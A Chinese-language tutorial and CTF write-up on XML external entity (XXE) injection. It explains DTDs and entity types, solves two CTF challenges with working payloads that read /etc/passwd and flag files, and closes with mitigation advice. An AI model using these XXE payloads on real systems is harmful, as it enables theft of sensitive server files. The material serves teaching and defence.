XML外部实体注入(XXE)的原理和应用

XXE注入

XXE注入全称是xml external entity 注入,也就是xml外部实体注入。XXE漏洞发生在应用程序解析输入的XML时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取,命令执行等攻击。

一、XML简介

XML是一种用户自定义的标记语言,主要用于数据的存储和传输。XML文档有自己的一个格式规范。是由DTD(document type define)来控制的。例如:

<?xml version="1.0"?> <!--XML文档定义-->
<!DOCTYPE message [ <!--定义该文档为message类型-->
<!ELEMENT message(username,password)<!-- 定义message有两个元素-->
<!ELEMENT username(#PCDATA)> <!-- 定义username元素为#PCDATA类型 -->
<!ELEMENT password(#PCDATA)>
]>

上面的DTD就定义了XML的根元素为message,然后根元素下面有一些子元素,后面的XML就要像如下的方式来书写。

<message>
    <username>root</username>
    <password>123</password>
</message>

二、XML实体

上面的<!ELEMENT>中定义的是元素,也就是定义了对应XML中的标签。还可以在DTD中定义XML实体。XML实体可以看作一个变量,到时候可以在XML中通过&符号来引用。

XML可分为外部实体内部实体。首先来看内部实体:
示例:

<? xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY tst "test">
]>

其中元素定义的ANY说明接受任何元素,同时定义了一个xml实体(<! ENTITY>标签),这样就可以在XML文档中这样来写

<message>
<user>&tst;</user>
</message>

外部实体
示例:

<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<message>
    <user>&xxe;</user>
</message>

这里用 &实体名; 引用实体,在DTD中定义,在XML文档中引用。

通过上面的总结我们知道可以将实体分为外部实体和内部实体。但是实际上从另一个角度来开,还可以分为通用实体参数实体

1.通用实体:

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

示例:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Profile [<!ENTITY file SYSTEM "file:///etc/passwd">]
<Profile>
 <msg>&file;</msg>
</Profile>

2.参数实体

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

示例:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

三、CTF中XEE攻击

1.题目地址:Jarvis http://web.jarvisoj.com:32794/

打开链接,输入数据后抓包:

在这里插入图片描述
发现传的是JSON数据,考虑修改一下上传文件类型为XML类型。构造外部实体,实现XXE攻击。将ContentType字段改为:application/xml,然后在请求内容中加上如下的payload:

<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY shell SYSTEM "file///etc/passwd">
]>
<message>&shell;</message>

在这里插入图片描述
发现了/home/ctf路径。改一下file的路径:file:///home/ctf/flag.txt。即可得到flag
在这里插入图片描述

2.题目地址:https://buuoj.cn/challenges (Fake XML cookbook)
在这里插入图片描述
抓包后,发现上传的是XML类型的数据
在这里插入图片描述
直接构造XML外部实体,读flag。payload如下:

<?xml version="1.0"?>
<!DOCTYPE user[
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>passwd</password></user>

在这里插入图片描述

参考文章
https://xz.aliyun.com/t/3357
https://www.freebuf.com/vuls/175451.html

  • 3
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
XML外部实体注入漏洞(XML External Entity Injection, 简称XXE)是一种常见的安全漏洞,攻击者可以利用这种漏洞来读取任意文件、执行系统命令等操作。 在XML文档中,可以通过定义实体来引用外部资源,例如文件、URL等。当XML解析器解析XML文档时,如果不对外部实体进行限制,攻击者可以通过构造恶意的XML文档,将外部实体指向敏感文件或者恶意URL,从而导致漏洞。 具体来说,攻击者可以在XML文档中定义一个实体,使用DTD(Document Type Definition)语法将该实体指向一个外部文件,然后在XML文档中使用该实体。当XML解析器解析该实体时,就会将指定的外部文件读取进来,从而导致漏洞。 例如,下面的XML文档定义了一个名为“file”的实体,指向了一个敏感文件“/etc/passwd”: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <message>&file;</message> ``` 如果XML解析器不对外部实体进行限制,那么解析该文档时就会读取“/etc/passwd”文件的内容,并将其包含在<message>元素中返回给应用程序,从而导致敏感信息泄漏。 为了防止XXE漏洞,可以采取以下措施: 1. 禁止使用外部实体,或者限制外部实体的使用范围。可以在XML解析器中设置相关参数,例如禁止加载外部实体、禁止解析DTD等。 2. 对外部实体进行白名单过滤,只允许加载特定的URL或文件。 3. 检查输入数据,避免恶意输入注入XML文档中。 4. 对于持久化的XML数据,应该使用安全XML库来处理,例如使用DOM4J或JAXB等库,这些库会自动过滤掉外部实体

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值